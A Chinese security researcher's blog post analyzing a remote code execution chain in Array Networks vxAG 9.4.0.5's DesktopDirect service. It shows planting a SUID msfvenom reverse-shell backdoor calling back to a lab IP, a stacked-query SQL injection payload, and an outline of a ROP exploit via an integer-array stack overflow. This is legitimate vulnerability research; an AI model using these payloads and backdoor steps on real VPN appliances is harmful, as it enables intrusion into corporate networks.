2022 年 Array Networks 官方发布了数个影响 AG/vxAG 设备的远程代码执行漏洞公告,官方披露信息较少,难以界定本文提到的漏洞和公告中的是否一致,因此文章内容仅供参考。由于环境配置和漏洞分析利用较为复杂,所以文章将分为两部分,本文为第一部分。(分析版本基于 9.4.0.5)
环境准备
镜像下载链接:vxAG
得到镜像之后导入 Vmware 开机,等待启动完成会提示输入账户登录,默认账户为 array:admin。登录到 CLI,先配置网络,相关命令:
1 | enable |
配置好之后浏览器访问链接 https://192.168.0.151:8888 使用默认账户登录即可。
代码和权限获取
网络配置完毕,我们需要拿到文件系统以便于进行代码审计分析。获取代码采用比较常规的思路,即尝试将虚拟机磁盘挂载出来,拷贝文件系统或植入后门。
先关闭虚拟机,卸载磁盘,然后将磁盘挂载到另一台 Linux 虚拟机上,可以识别到以下分区
不过尝试点击分区打开时,会出现错误信息:
这是因为 vxAG 是基于 FreeBSD 系统开发的,FreeBSD 使用 UFS 文件系统,Linux 对 UFS 的识别可能存在一些问题,我们尝试用 mount 命令挂载
1 | sudo mount -r -t ufs -o ufstype=ufs2 /dev/sdb10 ./sdb10 |
这样就可以挂载成功,业务相关程序位于 /dev/sdb7 中,先将文件打包到本地。
由于设备不提供 root shell,为了方便后续调试需要在系统中植入后门,不过直接从 Linux 上没办法修改 UFS 文件系统,如果想修改,需要安装一系列工具和内核驱动模块,其过程比较复杂且存在失败风险。我们可以采取更好的方案,安装一份 FreeBSD 系统,将磁盘挂载到此系统即可进行读写操作。
FreeBSD 7.0 的下载链接,下载 disc1 即可,安装过程参考手册。
进入 FreeBSD 系统先修改 /etc/ssh/sshd_config 配置文件,添加 PermitRootLogin yes 选项允许 root 用户登录,关机将磁盘挂载上去,开机从 ssh 登录。挂载目标磁盘时应使用 IDE 类型。
在 /dev 目录下可以看到 ad0 设备,对应目标硬盘。文件系统位于 ad0s1e 分区中,使用下面的命令将分区挂载到本地
1 | fsck -y /dev/ad0s1e # 首先清理磁盘 |
植入后门时我们希望对系统的改动最小,不影响正常功能,经分析发现位于 /ca/bin 目录下的 monitor.sh 脚本在执行 CLI 命令 debug monitor 时会被调用,可以考虑在这个脚本开头加入一些后门命令。
利用 msf 生成木马文件
1 | msfvenom -p bsd/x64/shell_reverse_tcp LHOST=192.168.0.161 LPORT=12345 -f elf > my_shell |
把木马放在 /ca/bin 目录下,赋予 SUID 权限,然后在 monitor.sh 开头添加启动命令
1 | /ca/bin/my_shell & |
另外,可以将 /etc/master.passwd 中的 root 密码修改成已知的,方便后续操作。
保存修改卸载磁盘,将磁盘重新挂载回 array 系统上,开机进入 CLI,先在接收端监听端口,然后执行下面的命令
1 | enable |
在接收端收到反弹 shell:
在命令行中执行
1 | pw user mod array -g wheel |
允许 array 用户使用 su 切换,然后执行命令
1 | mv /ca/bin/ca_shell /ca/bin/ca_shell_bak |
从 ssh 以 array 用户身份登录,再 su 切换到 root 用户即可得到完整的 shell 环境。
漏洞分析
本文要介绍的漏洞位于设备 DesktopDirect 功能上,根据官方描述,这是一个类似 VPN 的远程接入功能,允许企业员工在任何地点的任何设备上安全的接入公司网络。这个功能默认运行在 TCP 9090 端口上,对应二进制程序 art_server。
art_server 是一个基于 lighttpd 开发的 web 服务程序,对应配置文件 /ca/bin/art_server.conf,我们直接对它逆向分析。
程序包含符号信息,加上 lighttpd 源码辅助可以快速对功能点进行定位,我们找到关键入口函数 mod_art_server_uri_handler,这个函数会根据用户的请求 URI 调用不同功能,URI 包括
1 | /smx |
每个 URI 对应不同函数,大部分操作都是对本地 sqlite 数据库 /ca/bin/artdb 的增删改查,举例来说,路由 /replication 下包含几个子路由 /groupinfo、/notification、/join 等,其中 /groupinfo 对应函数 handle_replication_group_info_req 的部分代码:
1 | // ... |
代码中使用 artdb_open 打开数据库,然后通过 artdb_rep_get_group_id 等 API 从数据库中查询相关数据,最后将结果转换成 XML 格式返回。其他接口功能类似。
请求和响应样例:
1 | POST /replication/groupinfo HTTP/1.1 |
1 | HTTP/1.1 200 OK |
通过对各个功能进行分析,可以找到多处使用不安全 API 处理字符数据的代码片段,例如函数 artdb_get_user_id:
1 | int __cdecl artdb_get_user_id(sqlite3_0 *prmDB, int prmInstID, char *prmUsername, int *prmUserID) |
第 14 行使用 sprintf 函数构造 sql 查询语句,其中 prmUsername 参数是我们可控的数据,有很多途径都可以触发,那么这里显然存在栈溢出漏洞。另外,构造出来的 sql 语句没有经过任何过滤就使用 sqlite3_get_table 执行,存在 sql 注入漏洞。
漏洞利用分析
首先考虑栈溢出,目标程序信息
1 | Arch: amd64-64-little |
没有开启保护措施,架构为 x64,由于数据是从 HTTP Query_String 传入的,所以不能出现特殊字符,如 00 字符。这就导致我们可能只能劫持返回地址,不能直接构造 ROP。
再次观察漏洞代码,sprintf 语句的 format string 在可控数据之后还有几个字符 '))
,由于这些字符会拼接在 payload 后面,导致也没办法劫持返回地址。
考虑 sql 注入漏洞,目标数据库是 sqlite,常规的利用思路可以从数据库中泄露某些敏感信息,或者是向 web 目录创建 php 后门、加载自己上传的 so 文件等。默认情况下 /ca/bin/artdb 中应该没有内容,上传文件或向 web 目录写 php 都需要先绕过 web 登录,也难以实现。
特殊形式的栈溢出
以上比较明显的漏洞暂时没有利用思路,继续分析代码。在 /query/hosts 路由对应的函数中有下面的逻辑:
1 | // ... |
获取用户参数 _role,进行 url 解码之后传入 artdb_get_groupIDs_by_request 函数。
1 | int __cdecl artdb_get_groupIDs_by_request(sqlite3_0 *prmDB, int instID, char *gnames, int **prmGroupIDs, int *prmCount) |
函数第三个参数是用户可控的 _role 参数,进入 for 循环对该字符串遍历,每次都寻找冒号。获取冒号之前的一项,将其作为参数传入 artdb_get_group_id 函数。由此可以推断 _role 是一种用冒号分隔的字符串数据。
1 | int __cdecl artdb_get_group_id(sqlite3_0 *prmDB, int prmInstID, char *prmGroupname, int *prmGroupID) |
这里从 localgroups 表中查找对应的 groupname 条目,获取到它的 groupID,经过 atoi 转换成 int 型数据返回。
返回之后在循环中将 ID 赋值到位于栈的数组 groupIDs 中,然后再处理下一项数据。向数组插入多少数据是根据 _role 参数中有多少项目决定的,也就是说如果数据库中的内容可控,那么我们就可以构造较长的 _role 参数,循环不断向 groupIDs 数组写入内容,最终将导致栈溢出。
这个栈溢出和其他位置的不同,由于写入的数据是 int 类型,我们无需担心特殊字符的问题,可以直接构造 ROP 完成利用。
控制数据库
我们已经有 sql 注入漏洞,由于 sqlite 的特性,在一条 sql 语句之后拼接分号可以执行另一条语句。所以可以先将原始查询语句正确闭合,在分号后面向 localgroups 表中插入 payload 数据,最后注释掉后续的非法字符即可控制数据库中的数据。
sql 注入点有很多,我们选择 /query/clientverification2 路由,考察注入点:
1 | sprintf( |
和之前介绍的语句一样,注入部分首先构造字符串 array'));
对 select 语句进行闭合,然后构造 insert 语句将数据插入表中,例如
1 | insert/**/into/**/localgroups/**/(group_id,inst_id,groupname,params)/**/values/**/(123,1,"test","p");/**/-- |
空格部分用 /**/
替代。
利用分析
漏洞本质上是栈溢出,所以基本思路就是构造 ROP 去调用 system 执行命令。不过在利用过程中存在一些细节问题。
1. 指针问题
观察漏洞函数变量定义,在栈数组 groupIDs 下方有三个指针 pCur、pNext、pName,它们在 for 循环中起到定位的作用,如果在溢出过程中这些指针被非法数据覆盖,函数没执行到返回前就会崩溃。通过调试分析可以获取它们在被覆盖之前的值,在溢出数据中对这些值进行恢复即可。
2. 参数问题
由于溢出是以 int 型即每次 4 字节来覆盖的,所以我们的命令也要符合这个条件,每 4 字节取小端序,分批写入。
调试
系统中自带 gdb 程序,可直接在 shell 中调试。
你可以在 Github 上获取演示脚本。
演示
请观看下面的演示视频
本文内容到这里就结束了,我们将在下篇文章中介绍 License 和 VPN 的相关问题。
- 本文作者: Catalpa
- 本文链接: https://wzt.ac.cn/2022/11/16/ArrayVPN_rce/
-
版权声明:
本作品采用知识共享署名-相同方式共享 4.0 国际许可协议进行许可。